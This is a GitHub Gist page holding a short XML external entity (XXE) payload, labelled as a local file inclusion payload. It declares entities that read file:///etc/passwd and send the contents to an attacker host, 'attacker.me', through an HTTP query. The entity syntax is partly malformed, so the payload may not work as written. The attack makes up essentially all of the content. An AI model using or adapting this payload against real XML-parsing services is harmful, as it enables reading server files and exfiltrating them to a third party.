Created
May 17, 2018 16:51
-
-
Save N1gh7m4r3-N1dh/4be0e4f1d7489b69dfcea740702a8496 to your computer and use it in GitHub Desktop.
payload for local file inclusion via xxe refering to an external entity.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE lfi [ | |
<!ELEMENT lfi ANY> | |
<!ENTITY % boo SYSTEM | |
"file:///etc/passwd"> | |
<!ENTITY xxe SYSTEM "http://attacker.me/?info=%boo"> | |
]> | |
<lfi> | |
&boo; | |
</lfi> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment